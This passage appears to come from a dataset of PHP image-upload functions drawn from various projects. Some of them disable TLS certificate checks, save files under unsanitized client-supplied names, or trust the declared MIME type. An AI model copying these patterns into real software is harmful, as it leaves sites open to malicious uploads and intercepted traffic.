'message' => 'Изображение не загружено, попробуйте еще раз!', 'code' => '004'));\r\n }\r\n } else {\r\n echo json_encode(array('status' => 'fail', 'message' => 'Изображение не загружено, попробуйте еще раз!', 'code' => '003'));\r\n }\r\n } else {\r\n echo json_encode(array('status' => 'fail', 'message' => 'Изображение не загружено, попробуйте еще раз!', 'code' => '002'));\r\n }\r\n } else {\r\n echo json_encode(array('status' => 'fail', 'message' => 'Изображение не загружено, у вас нет прав!', 'code' => '999'));\r\n }\r\n } else {\r\n echo json_encode(array('status' => 'fail', 'message' => 'Изображение не загружено, попробуйте еще раз!', 'code' => '001'));\r\n }\r\n }", "public function images_upload()\n\t{\n\t\t$args = phpSmug::processArgs( func_get_args() );\n\t\tif ( !array_key_exists( 'File', $args ) ) {\n\t\t\tthrow new PhpSmugException( 'No upload file specified.' );\n\t\t}\n\t\t\n\t\t// Set FileName, if one isn't provided in the method call\n\t\tif ( !array_key_exists( 'FileName', $args ) ) {\n\t\t\t$args['FileName'] = basename( $args['File'] );\n\t\t}\n\n\t\t// Ensure the FileName is phpSmug::urlencodeRFC3986 encoded - caters for stange chars and spaces\n\t\t$args['FileName'] = phpSmug::urlencodeRFC3986( $args['FileName'] );\n\n\t\t// OAuth Stuff\n\t\tif ( $this->OAuthSecret ) {\n\t\t\t$sig = $this->generate_signature( 'Upload', array( 'FileName' => $args['FileName'] ) );\n\t\t}\n\t\t\n\t\tif ( is_file( $args['File'] ) ) {\n\t\t\t$fp = fopen( $args['File'], 'r' );\n\t\t\t$data = fread( $fp, filesize( $args['File'] ) );\n\t\t\tfclose( $fp );\n\t\t} else {\n\t\t\tthrow new PhpSmugException( \"File doesn't exist: {$args['File']}\" );\n\t\t}\n\n\t\t// Create a new object as we still need the other request object\n\t\t$upload_req = new httpRequest();\n $upload_req->setMethod( 'PUT' );\n\t\t$upload_req->setConfig( array( 'follow_redirects' => TRUE, 'max_redirects' => 3, 'ssl_verify_peer' => FALSE, 'ssl_verify_host' => FALSE, 'connect_timeout' => 60 ) );\n\t\t$upload_req->setAdapter( $this->adapter );\n\t\t\n\t\t// Set the proxy if one has been set earlier\n\t\tif ( isset( $this->proxy ) && is_array( $this->proxy ) ) {\n\t\t\t$upload_req->setConfig(array('proxy_host' => $this->proxy['server'],\n\t\t\t\t\t\t\t 'proxy_port' => $this->proxy['port'],\n\t\t\t\t\t\t\t\t\t 'proxy_user' => $this->proxy['user'],\n\t\t\t\t\t\t\t\t\t 'proxy_password' => $this->proxy['password']));\n\t\t}\n\n\t\t$upload_req->setHeader( array( 'User-Agent' => \"{$this->AppName} using phpSmug/\" . phpSmug::$version,\n\t\t\t\t\t\t\t\t\t 'Content-MD5' => md5_file( $args['File'] ),\n\t\t\t\t\t\t\t\t\t 'Connection' => 'keep-alive') );\n\n\t\tif ( $this->loginType == 'authd' ) {\n\t\t\t$upload_req->setHeader( 'X-Smug-SessionID', $this->SessionID );\n\t\t} else {\n\t\t\t$upload_req->setHeader( 'Authorization', 'OAuth realm=\"http://api.smugmug.com/\",'\n\t\t\t\t.'oauth_consumer_key=\"'.$this->APIKey.'\",'\n\t\t\t\t.'oauth_token=\"'.$this->oauth_token.'\",'\n\t\t\t\t.'oauth_signature_method=\"'.$this->oauth_signature_method.'\",'\n\t\t\t\t.'oauth_signature=\"'.urlencode( $sig ).'\",'\n\t\t\t\t.'oauth_timestamp=\"'.$this->oauth_timestamp.'\",'\n\t\t\t\t.'oauth_version=\"1.0\",'\n\t\t\t\t.'oauth_nonce=\"'.$this->oauth_nonce.'\"' );\n\t\t}\n\t\t\t\n\t\t$upload_req->setHeader( array( 'X-Smug-Version' => $this->APIVer,\n\t\t\t\t\t\t\t\t\t 'X-Smug-ResponseType' => 'PHP',\n\t\t\t\t\t\t\t\t\t 'X-Smug-AlbumID' => $args['AlbumID'],\n\t\t\t\t\t\t\t\t\t 'X-Smug-Filename'=> basename($args['FileName'] ) ) ); // This is actually optional, but we may as well use what we're given\n\t\t\n\t\t/* Optional Headers */\n\t\tforeach( $args as $arg => $value ) {\n\t\t\tif ( $arg == 'File' ) continue;\n\t\t\t$upload_req->setHeader( 'X-Smug-' . $arg, $value );\n\t\t}\n\n\t\t//$proto = ( $this->oauth_signature_method == 'PLAINTEXT' || $this->secure ) ? 'https' : 'http';\t// No secure uploads at this time.\n\t\t//$upload_req->setURL( $proto . '://upload.smugmug.com/'.$args['FileName'] );\n\t\t$upload_req->setURL( 'http://upload.smugmug.com/'.$args['FileName'] );\n\t\t$upload_req->setBody( $data );\n\n //Send Requests \n\t\t$upload_req->execute();\n\t\t\n\t\t$this->response = $upload_req->getBody();\n\t\t\n\t\t// For some reason the return string is formatted with \\n and extra space chars. Remove these.\n\t\t$replace = array( '\\n', '\\t', ' ' );\n\t\t$this->response = str_replace( $replace, '', $this->response );\n\t\t$this->parsed_response = unserialize( trim( $this->response ) );\n\t\t\n\t\tif ( $this->parsed_response['stat'] == 'fail' ) {\n\t\t\t$this->error_code = $this->parsed_response['code'];\n $this->error_msg = $this->parsed_response['message'];\n\t\t\t$this->parsed_response = FALSE;\n\t\t\tthrow new PhpSmugException( \"SmugMug API Error for method image_upload: {$this->error_msg}\", $this->error_code );\n\t\t} else {\n\t\t\t$this->error_code = FALSE;\n $this->error_msg = FALSE;\n\t\t}\n\t\treturn $this->parsed_response ? $this->parsed_response['Image'] : FALSE;\n\t}", "function doImageUpload()\n\t\t{\n\t\t\t//if the upload button is clicked\n\t\t\tif( isset( $_POST[ \"imageUploadButton\" ] ) )\n\t\t\t{\n\t\t\t\t\n\t\t\t\t$error = array();\n\t\t\t\t\n //upload image into the upload folder root to store the image\n\t\t\t\t$uploadFolder = \"../uploads/\";\n\t\t\t\t\n // for each error-> notify as a upload status\n\t\t\t\tforeach( $_FILES[ \"images\" ][ \"error\" ] as $key => $status )\n\t\t\t\t{\n\t\t\t\t\t// if a file is uploaded\n\t\t\t\t\tif ( $status == UPLOAD_ERR_OK )\n\t\t\t\t\t{\n\t\t\t\t\t\t\n\t\t\t\t\t\t$uploadOk = 1;\n\t\t\t\t\t\t\n //get the name of the file\n\t\t\t\t\t\t$name = $_FILES[ \"images\" ][ \"name\" ][ $key ];\n \n\t\t\t\t\t\t$pathToUpload = $uploadFolder . basename ( $name );\n\t\t\t\t\t\t\n //get the extension type of the file\n\t\t\t\t\t\t$fileType = pathinfo( $pathToUpload, PATHINFO_EXTENSION );\n\t\t\t\t\t\t\n // get the size of the file image\n\t\t\t\t\t\t$checkIfItIsAnImage = getimagesize( $_FILES[ \"images\" ][ \"tmp_name\" ][ $key ] );\n\t\t\t\t\t\t\n //create an error\n\t\t\t\t\t\t$error[ \"filename\" ] = basename ( $name );\n\t\t\t\t\t\t\n //if the file is not an image file\n\t\t\t\t\t\tif ( !$checkIfItIsAnImage )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t//create error message\n\t\t\t\t\t\t\t$errorMessage = \"Sorry - \" . basename ( $name ) . \" was not an image.\";\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t$error[ \"error\" ][] = $errorMessage;\n \n //file cannot be uploaded\n\t\t\t\t\t\t\t$uploadOk = 0;\n\n\t\t\t\t\t\t}\n \n\t\t\t\t\t\t//if the file already existed/uploaded\n\t\t\t\t\t\tif ( file_exists ( $pathToUpload ) )\t\t\t\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t//create error message\n\t\t\t\t\t\t\t$errorMessage = \"Sorry - file \" . basename ( $name ) . \" already exists.\";\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t$error[ \"error\" ][] = $errorMessage;\n \n\t\t\t\t\t\t\t//file cannot be uploaded\n\t\t\t\t\t\t\t$uploadOk = 0;\n\n\t\t\t\t\t\t}\n \n\t\t\t\t\t\t//if the size of the image is not applicable\n\t\t\t\t\t\tif ( $_FILES[ \"images\" ][ \"size\" ][ $key ] > 1000000)\n\t\t\t\t\t\t{\n //create error message\n\t\t\t\t\t\t\t$errorMessage = \"Sorry - your file \" . basename( $name ) . \" is too large.\";\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t$error[ \"error\" ][] = $errorMessage;\n \n\t\t\t\t\t\t\t//file cannot be uploaded\n\t\t\t\t\t\t\t$uploadOk = 0;\n\n\t\t\t\t\t\t}\n \n\t\t\t\t\t\t//if the file type is not JPG, PNG, JPEG or GIF\n\t\t\t\t\t\tif( $fileType != \"jpg\" && $fileType != \"png\" && $fileType != \"jpeg\" && $fileType != \"gif\" )\n\t\t\t\t\t\t{\n //create error message\n\t\t\t\t\t\t\t$errorMessage = \"Sorry - only JPG, JPEG, PNG and GIF files are allowed.\";\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t$error[ \"error\" ][] = $errorMessage;\n \n //file cannot be uploaded\n\t\t\t\t\t\t\t$uploadOk = 0;\n\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n //if the file is not uploaded\n\t\t\t\t\t\tif( !$uploadOk )\n\t\t\t\t\t\t{\n //create error message\n\t\t\t\t\t\t\t$errorMessage = \"Sorry - your file \" . basename ( $name ) . \" was not uploaded.\";\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t$error[ \"error\" ][] = $errorMessage;\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\treturn $error;\n\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t// if the file is moved to the upload folder\n\t\t\t\t\t\t\tif( move_uploaded_file( $_FILES[ \"images\" ][ \"tmp_name\" ][ $key ], $uploadFolder . $name ) ) \n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t//check if it is a profile picture\n\t\t\t\t\t\t\t\tif( $_POST[ \"isProfile\" ] )\n\t\t\t\t\t\t\t\t{\t\t\t\t\t\n //set the file name to be the name of the image\n\t\t\t\t\t\t\t\t\t$profileFilename = $name;\n \n //update to the table in the database\n\t\t\t\t\t\t\t\t\t$query = $this->_db->prepare( 'UPDATE settings SET settings_value=:settingsValue WHERE settings_key=\"profile_picture\"' );\n\n\t\t\t\t\t\t\t\t\t$query->bindParam( ':settingsValue', $profileFilename, PDO::PARAM_STR );\n\n\t\t\t\t\t\t\t\t\t$query->execute();\n \n // creat an error message when profile picture is uploaded\n\t\t\t\t\t\t\t\t\t$errorMessage = \"Profile picture \" . basename ( $name ) . \" has been uploaded and updated.\";\n\n\t\t\t\t\t\t\t\t\t$error[ \"error\" ][] = $errorMessage;\n\n\t\t\t\t\t\t\t\t\t$error[ \"success\" ] = true;\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t} else {\n \n\t\t\t\t\t\t\t\t //collect form data with POST method\n\t\t\t\t\t\t\t\t\t$imageTitle = $_POST[ \"imageTitleInput\" ];\n\n\t\t\t\t\t\t\t\t\t$imageDescription = $_POST[ \"imageDescriptionInput\" ];\n \n $imageContent = $_POST [\"imageContentInput\"];\n\n\t\t\t\t\t\t\t\t\t$imageFilename = $name;\n\n\t\t\t\t\t\t\t\t\t//insert into database\n\t\t\t\t\t\t\t\t\t$query = $this->_db->prepare( 'INSERT INTO media ( media_title, media_description, media_content, media_filename) VALUES ( :imageTitle, :imageDescription, :imageContent, :imageFilename)' );\n \n //execute the statement\n\t\t\t\t\t\t\t\t\t$query->execute( array(\n\t\t\t\t\t\t\t\t\t\t':imageTitle' => $imageTitle,\n\t\t\t\t\t\t\t\t\t\t':imageDescription' => $imageDescription,\n ':imageContent' => $imageContent,\n\t\t\t\t\t\t\t\t\t\t':imageFilename' => $imageFilename\n\t\t\t\t\t\t\t\t\t));\n // error message when upload is successful\n\t\t\t\t\t\t\t\t\t$errorMessage = \"The file \" . basename ( $name ) . \" has been uploaded.\";\n\n\t\t\t\t\t\t\t\t\t$error[ \"error\" ][] = $errorMessage;\n\n\t\t\t\t\t\t\t\t\t$error[ \"success\" ] = true;\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t} else {\t\t\t\t\t\n\t\t\t\t\t\t\t\t// error message when upload is failed\n\t\t\t\t\t\t\t\t$errorMessage = \"Sorry - there was error uploading your file.\";\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t$error[ \"success\" ] = false;\n\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\treturn $error;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\t\n\t\t\t\n\t\t}", "private function UploadImage() {\n switch ($this->File->type):\n case 'image/jpg':\n case 'image/jpeg':\n case 'image/pjpeg':\n $this->Image = imagecreatefromjpeg($this->File->tempName);\n break;\n case 'image/png':\n case 'image/x-png':\n $this->Image = imagecreatefrompng($this->File->tempName);\n break;\n endswitch;\n\n if (!$this->Image):\n $this->Result = false;\n $this->Error = 'Tipo de arquivo inválido, envie imagens JPG ou PNG!';\n else:\n $x = imagesx($this->Image);\n $y = imagesy($this->Image);\n $ImageX = ( $this->Width < $x ? $this->Width : $x );\n $ImageH = ($ImageX * $y) / $x;\n\n $NewImage = imagecreatetruecolor($ImageX, $ImageH);\n imagealphablending($NewImage, false);\n imagesavealpha($NewImage, true);\n imagecopyresampled($NewImage, $this->Image, 0, 0, 0, 0, $ImageX, $ImageH, $x, $y);\n\n switch ($this->File->type):\n case 'image/jpg':\n case 'image/jpeg':\n case 'image/pjpeg':\n imagejpeg($NewImage, self::$BaseDir . $this->Send . $this->Name);\n break;\n case 'image/png':\n case 'image/x-png':\n imagepng($NewImage, self::$BaseDir . $this->Send . $this->Name);\n break;\n endswitch;\n\n if (!$NewImage):\n $this->Result = false;\n $this->Error = 'Tipo de arquivo inválido, envie imagens JPG ou PNG!';\n else:\n $this->Result = $this->Send . $this->Name;\n $this->Error = null;\n endif;\n\n imagedestroy($this->Image);\n imagedestroy($NewImage);\n endif;\n }", "function uploadImage(array $a_upload)\n\t{\n\t\tif(!$this->id)\n\t\t{\n\t\t\treturn false;\n\t\t}\n\t\t\n\t\t$this->deleteImage();\n\t\t\n\t\t// #10074\n\t\t$clean_name = preg_replace(\"/[^a-zA-Z0-9\\_\\.\\-]/\", \"\", $a_upload[\"name\"]);\n\t\n\t\t$path = $this->initStorage($this->id);\n\t\t$original = \"org_\".$this->id.\"_\".$clean_name;\n\t\t$thumb = \"thb_\".$this->id.\"_\".$clean_name;\n\t\t$processed = $this->id.\"_\".$clean_name;\n\t\t\n\t\tif(@move_uploaded_file($a_upload[\"tmp_name\"], $path.$original))\n\t\t{\n\t\t\tchmod($path.$original, 0770);\n\n\t\t\t$blga_set = new ilSetting(\"blga\");\t\t\t\t\n\t\t\t/* as banner height should overflow, we only handle width\n\t\t\t$dimensions = $blga_set->get(\"banner_width\").\"x\".\n\t\t\t\t$blga_set->get(\"banner_height\");\n\t\t\t*/\n\t\t\t$dimensions = $blga_set->get(\"banner_width\");\n\t\t\t\n\t\t\t// take quality 100 to avoid jpeg artefacts when uploading jpeg files\n\t\t\t// taking only frame [0] to avoid problems with animated gifs\n\t\t\t$original_file = ilUtil::escapeShellArg($path.$original);\n\t\t\t$thumb_file = ilUtil::escapeShellArg($path.$thumb);\n\t\t\t$processed_file = ilUtil::escapeShellArg($path.$processed);\n\t\t\tilUtil::execConvert($original_file.\"[0] -geometry 100x100 -quality 100 JPEG:\".$thumb_file);\n\t\t\tilUtil::execConvert($original_file.\"[0] -geometry \".$dimensions.\" -quality 100 JPEG:\".$processed_file);\n\t\t\t\n\t\t\t$this->setImage($processed);\n\t\t\t\n\t\t\t$this->handleQuotaUpdate();\n\t\t\t\n\t\t\treturn true;\n\t\t}\n\t\treturn false;\n\t}", "public function upload()\n {\n if (null === $this->getFile()) {\n return;\n }\n\n // use the original file name here but you should\n // sanitize it at least to avoid any security issues\n\n // move takes the target directory and then the\n // target filename to move to\n $this->getFile()->move(\n $this->getUploadRootDir(),\n $this->getFile()->getClientOriginalName()\n );\n\n // set the path property to the filename where you've saved the file\n $this->backgroundImage = $this->getFile()->getClientOriginalName();\n\n // clean up the file property as you won't need it anymore\n $this->file = null;\n }", "public function handleuploadAction() {\r\n $allowedExtensions = array(\"png\",\"jpg\",\"jpeg\",\"gif\",\"bmp\");\r\n // max file size in bytes\r\n $sizeLimit = 10 * 1024 * 1024;\r\n \r\n $uploader = new qqFileUploader($allowedExtensions, $sizeLimit);\r\n \r\n $dir = \"img/picture\";\r\n \r\n $result = $uploader->handleUpload($dir);\r\n \r\n $image = \\Nette\\Image::fromFile($dir . \"/\" . $result['filename']);\r\n $image->resize(269, 200, \\Nette\\Image::EXACT);\r\n $image->save($dir . \"/\" . $result['filename']);\r\n \r\n // to pass data through iframe you will need to encode all html tags\r\n echo htmlspecialchars(Zend_Json::encode($result), ENT_NOQUOTES);\r\n $this->_helper->layout->disableLayout();\r\n $this->_helper->viewRenderer->setNoRender(TRUE);\r\n }", "function uploadImage($fieldName){\r\n \r\n // Undefined | Multiple Files | $_FILES Corruption Attack\r\n // If this request falls under any of them, treat it invalid.\r\n if ( !isset($_FILES[$fieldName]['error']) || is_array($_FILES[$fieldName]['error']) ) { \r\n throw new RuntimeException('Invalid parameters.');\r\n }\r\n\r\n // Check $_FILES['upfile']['error'] value.\r\n switch ($_FILES[$fieldName]['error']) {\r\n case UPLOAD_ERR_OK:\r\n break;\r\n case UPLOAD_ERR_NO_FILE:\r\n throw new RuntimeException('No file sent.');\r\n case UPLOAD_ERR_INI_SIZE:\r\n case UPLOAD_ERR_FORM_SIZE:\r\n throw new RuntimeException('Exceeded filesize limit.');\r\n default:\r\n throw new RuntimeException('Unknown errors.');\r\n }\r\n \r\n // You should also check filesize here. \r\n if ($_FILES[$fieldName]['size'] > 1000000) {\r\n throw new RuntimeException('Exceeded filesize limit.');\r\n }\r\n\r\n // DO NOT TRUST $_FILES['upfile']['mime'] VALUE !!\r\n // Check MIME Type by yourself.\r\n $finfo = new finfo(FILEINFO_MIME_TYPE);\r\n $validExts = array(\r\n 'jpg' => 'image/jpeg',\r\n 'png' => 'image/png',\r\n 'gif' => 'image/gif'\r\n ); \r\n $ext = array_search( $finfo->file($_FILES[$fieldName]['tmp_name']), $validExts, true );\r\n \r\n \r\n if ( false === $ext ) {\r\n throw new RuntimeException('Invalid file format.');\r\n }\r\n \r\n /* Alternative to getting file extention \r\n $name = $_FILES[\"upfile\"][\"name\"];\r\n $ext = strtolower(end((explode(\".\", $name))));\r\n if (preg_match(\"/^(jpeg|jpg|png|gif)$/\", $ext) == false) {\r\n throw new RuntimeException('Invalid file format.');\r\n }\r\n Alternative END */\r\n\r\n // You should name it uniquely.\r\n // DO NOT USE $_FILES['upfile']['name'] WITHOUT ANY VALIDATION !!\r\n // On this example, obtain safe unique name from its binary data.\r\n \r\n $fileName = sha1_file($_FILES[$fieldName]['tmp_name']); \r\n $location = sprintf('./uploads/%s.%s', $fileName, $ext); \r\n \r\n if (!is_dir('./uploads')) {\r\n mkdir('./uploads');\r\n }\r\n \r\n if ( !move_uploaded_file( $_FILES[$fieldName]['tmp_name'], $location) ) {\r\n throw new RuntimeException('Failed to move uploaded file.');\r\n }\r\n\r\n /* return the file name uploaded */\r\n return $fileName.'.'.$ext;\r\n}", "public function handle_upload()\n {\n }", "public function uploadAction()\n {\n $logedUser = $this->getServiceLocator()\n ->get('user')\n ->getUserSession();\n $permission = $this->getServiceLocator()\n ->get('permissions')\n ->havePermission($logedUser[\"idUser\"], $logedUser[\"idWebsite\"], $this->moduleId);\n if ($this->getServiceLocator()\n ->get('user')\n ->checkPermission($permission, \"edit\")) {\n $request = $this->getRequest();\n if ($request->isPost()) {\n // Get Message Service\n $message = $this->getServiceLocator()->get('systemMessages');\n \n $files = $request->getFiles()->toArray();\n $temp = explode(\".\", $files[\"file\"][\"name\"]);\n $newName = round(microtime(true));\n $newfilename = $newName . '.' . end($temp);\n $image = new Image();\n $image->exchangeArray(array(\n \"website_id\" => $logedUser[\"idWebsite\"],\n \"name\" => $newName,\n \"extension\" => end($temp)\n ));\n if ($image->validation()) {\n if (move_uploaded_file($_FILES[\"file\"][\"tmp_name\"], \"public/files_database/\" . $logedUser[\"idWebsite\"] . \"/\" . $newfilename)) {\n $result = $this->getImageTable()->saveImage($image);\n $message->setCode($result);\n // Log\n $this->getServiceLocator()\n ->get('systemLog')\n ->addLog(0, $message->getMessage(), $message->getLogPriority());\n die('uploadSucess');\n } else {\n die('uploadError');\n }\n } else {\n die('Invalid extension');\n }\n }\n die(\"forbiden\");\n } else {\n die(\"forbiden - without permission\");\n }\n }", "public function UploadImage() {\n switch ($this->File['type']):\n case 'image/jpg':\n case 'image/jpeg':\n case 'image/pjpeg':\n $this->Image = imagecreatefromjpeg($this->File['tmp_name']);\n break;\n case 'image/png':\n case 'image/-x-png':\n $this->Image = imagecreatefrompng($this->File['tmp_name']);\n break;\n case 'image/gif':\n $this->Image = imagecreatefromgif($this->File['tmp_name']);\n break;\n endswitch;\n\n if (!$this->Image):\n $this->Result = false;\n $this->Error = 'Tipo de arquivo inválido, envie imagens JPG, PNG ou GIF';\n else:\n $Largura_original = imagesx($this->Image);\n $Altura_original = imagesy($this->Image);\n $Largura_alvo = ($this->Width < $Largura_original ? $this->Width : $Largura_original);\n $Altura_nova = ($Largura_alvo * $Altura_original) / $Largura_original;\n\n $NewImage = imagecreatetruecolor($Largura_alvo, $Altura_nova);\n imagealphablending($NewImage, false);\n imagesavealpha($NewImage, true);\n imagecopyresampled($NewImage, $this->Image, 0, 0, 0, 0, $Largura_alvo, $Altura_nova, $Largura_original, $Altura_original);\n\n switch ($this->File['type']):\n case 'image/jpg':\n case 'image/jpeg':\n case 'image/pjpeg':\n imagejpeg($NewImage, self::$BaseDir . $this->Send . $this->Name);\n break;\n case 'image/png':\n case 'image/-x-png':\n imagepng($NewImage, self::$BaseDir . $this->Send . $this->Name);\n break;\n case 'image/gif':\n imagegif($NewImage, self::$BaseDir . $this->Send . $this->Name);\n break;\n endswitch;\n\n if (!$NewImage):\n $this->Result = false;\n $this->Error = 'Tipo de arquivo inválido, envie imagem nos formatos, jpg, png ou gif';\n else:\n $this->Result = $this->Send . $this->Name;\n $this->Error = null;\n\n endif;\n\n imagedestroy($this->Image);\n imagedestroy($NewImage);\n endif;\n }", "function Trigger_ImageUpload1(&$tNG) {\r\r\n $uploadObj = new tNG_ImageUpload($tNG);\r\r\n $uploadObj->setFormFieldName(\"photo2\");\r\r\n $uploadObj->setDbFieldName(\"photo2\");\r\r\n $uploadObj->setFolder(\"../assets/images/magasins/\");\r\r\n $uploadObj->setMaxSize(1000);\r\r\n $uploadObj->setAllowedExtensions(\"gif, jpg, jpe, jpeg, png\");\r\r\n $uploadObj->setRename(\"auto\");\r\r\n return $uploadObj->Execute();\r\r\n}", "function imageUpload($img_file, $ext, $userid)\n{\n\n $picext = strtolower($ext[1]);\n\n if( $picext == 'pjpeg' || $picext == 'jpeg'){\n\n $picext = 'jpg';\n }\n\n if( $picext == 'x-png' ) {\n $picext= 'png';\n }\n $ext_ok = '1';\n\n\n $fileE = explode(',', FILEEXT);\n foreach ($fileE as $ex) {\n\n\n if ( $ex == $picext ) $ext_ok++;\n\n }\n\n/* bmp is removed as valid source time being */\n if ( $ext_ok <= '0' or $picext == 'bmp') {\n\n\n return 1; //wrong file type\n\n }\n\n clearstatcache();\n\n $fstats= stat($img_file);\n\n $picsize = $fstats[7];\n\n $handle = fopen ($img_file, 'rb');\n\n /* Get current picture size and allowed size. If pic size is more than the allowed size, flag error.. */\n\n\n if ($picsize > ALLWDSIZE) {\n\n return 2; //file size exceeded\n\n }\n\n $orgimg = fread($handle, $picsize);\n\n fclose ($handle);\n\n\n if ( $picext != 'jpg' ) {\n /* convert the picture to jpg. This is to enable picture editing */\n\n\n //$jpgfile = createThumb($orgimg, 'N');\n $img_tmp=createImg($picext,$img_file);\n $jpgfile = createJpeg($img_tmp, 'N');\n $newimg = file_get_contents($jpgfile);\n\n } else {\n\n $newimg = $orgimg;\n }\n\n $img_tmp=createImg($picext,$img_file);\n\n $tnimg_file = createJpeg($img_tmp,'Y');\n\n $tnimg = file_get_contents($tnimg_file);\n\n $tnext = 'jpg';\n\n $picext = 'jpg';\n\n if (1) {\n\n $imgfile = writeImageToFile($newimg, $userid, '','');\n\n $newimg = 'file:'.$imgfile;\n sleep(5);\n\n $tnimgfile = writeImageToFile($tnimg, $userid, 'tn','');\n\n $tnimg = 'file:'.$tnimgfile;\n\n\n } else {\n\n $newimg = base64_encode($newimg);\n\n $tnimg = base64_encode($tnimg);\n //save in DB\n }\n\n return 0;\n}", "public function upload() {\n // the file property can be empty if the field is not required\n if (null === $this->getFile()) {\n return;\n }\n\n // we use the original file name here but you should\n // sanitize it at least to avoid any security issues\n\n // move takes the target directory and target filename as params\n $this->getFile()->move(\n self::SERVER_PATH_TO_IMAGE_FOLDER,\n $this->getFile()->getClientOriginalName()\n );\n\n // set the path property to the filename where you've saved the file\n $this->filename = $this->getFile()->getClientOriginalName();\n\n // clean up the file property as you won't need it anymore\n $this->setFile(null);\n }", "function Trigger_ImageUpload(&$tNG) {\r\r\n $uploadObj = new tNG_ImageUpload($tNG);\r\r\n $uploadObj->setFormFieldName(\"photo1\");\r\r\n $uploadObj->setDbFieldName(\"photo1\");\r\r\n $uploadObj->setFolder(\"../assets/images/magasins/\");\r\r\n $uploadObj->setMaxSize(1000);\r\r\n $uploadObj->setAllowedExtensions(\"gif, jpg, jpe, jpeg, png\");\r\r\n $uploadObj->setRename(\"auto\");\r\r\n return $uploadObj->Execute();\r\r\n}", "function Trigger_ImageUpload(&$tNG) {\n $uploadObj = new tNG_ImageUpload($tNG);\n $uploadObj->setFormFieldName(\"foto1\");\n $uploadObj->setDbFieldName(\"foto1\");\n $uploadObj->setFolder(\"uploads/fotos/\");\n $uploadObj->setResize(\"true\", 100, 100);\n $uploadObj->setMaxSize(1000);\n $uploadObj->setAllowedExtensions(\"gif, jpg, jpe, jpeg, png\");\n $uploadObj->setRename(\"auto\");\n return $uploadObj->Execute();\n}", "public function upload(): void\n {\n // the file property can be empty if the field is not required\n if (null === $this->getFile()) {\n return;\n }\n\n // we use the original file name here but you should\n // sanitize it at least to avoid any security issues\n\n // move takes the target directory and target filename as params\n $this->getFile()->move(\n self::SERVER_PATH_TO_IMAGE_FOLDER,\n $this->getFile()->getClientOriginalName()\n );\n\n // set the path property to the filename where you've saved the file\n $this->logo = $this->getFile()->getClientOriginalName();\n\n // clean up the file property as you won't need it anymore\n $this->setFile(null);\n }", "function upload_file() {\n upload_file_to_temp();\n }", "public function upload_postAction() {\r\n\t\t$ret = Common::upload('img', 'category');\r\n\t\t$imgId = $this->getPost('imgId');\r\n\t\t$this->assign('code' , $ret['data']);\r\n\t\t$this->assign('msg' , $ret['msg']);\r\n\t\t$this->assign('data', $ret['data']);\r\n\t\t$this->assign('imgId', $imgId);\r\n\t\t$this->getView()->display('common/upload.phtml');\r\n\t\texit;\r\n\t}", "function attemptUpload() {\n\t\tif (isset($_POST['upload']) && $_POST['upload'] = 'true') {\n\t\t\techoBSAlertBox(2, \"\\t\", 'success', 'glyphicon-upload', 'Upload Started', 'We attempted an upload, details displayed bellow.');\n\t\t\t//for every file we attempted to upload, we build a alert box\n\t\t\tforeach($_FILES['myfile']['name'] as $key=>$name) {\n\t\t\t\tif (empty($name))\n\t\t\t\t\tcontinue;\n\t\t\t\t$result = handleUpload($key);\n\t\t\t\tif ($result['success'] == true) {\n\t\t\t\t\t//add to queue\n\t\t\t\t\t$addedToQueue = queue_add($result['result']);\n\t\t\t\t\techoBSAlertBox(2, \"\\t\", 'success', 'glyphicon-ok', 'Success', 'We successfully uploaded <a href=\"../../browse/image/source/?id='.$result['result'].'\">'.$name.\n\t\t\t\t\t\t\t'</a>, '.($addedToQueue ? 'added to processing queue' : 'not added to processing queue').'! <a href=\"../../browse/\">Click here to view the processing queue.</a>');\n\t\t\t\t} else {\n\t\t\t\t\techoBSAlertBox(2, \"\\t\", 'danger', 'glyphicon-exclamation-sign', 'Error', 'Unable to upload '.$name.', we had error: '.$result['result']);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}", "public function upload()\n {\n if (!Request::hasPost('requestToken') || !RequestToken::validate(Request::getPost('requestToken'))) {\n $objResponse = new ResponseError();\n $objResponse->setMessage('Invalid Request Token!');\n $objResponse->output();\n }\n\n if (!Request::getInstance()->files->has($this->name)) {\n return;\n }\n\n $objTmpFolder = new \\Folder(MultiFileUpload::UPLOAD_TMP);\n\n // contao 4 support, create tmp dir symlink\n if (version_compare(VERSION, '4.0', '>=')) {\n // tmp directory is not public, mandatory for preview images\n if (!file_exists(System::getContainer()->getParameter('contao.web_dir') . DIRECTORY_SEPARATOR . MultiFileUpload::UPLOAD_TMP)) {\n $objTmpFolder->unprotect();\n $command = new SymlinksCommand();\n $command->setContainer(System::getContainer());\n $input = new ArrayInput([]);\n $output = new NullOutput();\n $command->run($input, $output);\n }\n }\n\n $strField = $this->name;\n $varFile = Request::getInstance()->files->get($strField);\n // Multi-files upload at once\n if (is_array($varFile)) {\n // prevent disk flooding\n if (count($varFile) > $this->maxFiles) {\n $objResponse = new ResponseError();\n $objResponse->setMessage('Bulk file upload violation.');\n $objResponse->output();\n }\n\n /**\n * @var UploadedFile $objFile\n */\n foreach ($varFile as $strKey => $objFile) {\n $arrFile = $this->uploadFile($objFile, $objTmpFolder->path, $strField);\n $varReturn[] = $arrFile;\n\n if (\\Validator::isUuid($arrFile['uuid'])) {\n $arrUuids[] = $arrFile['uuid'];\n }\n }\n } // Single-file upload\n else {\n /**\n * @var UploadedFile $varFile\n */\n $varReturn = $this->uploadFile($varFile, 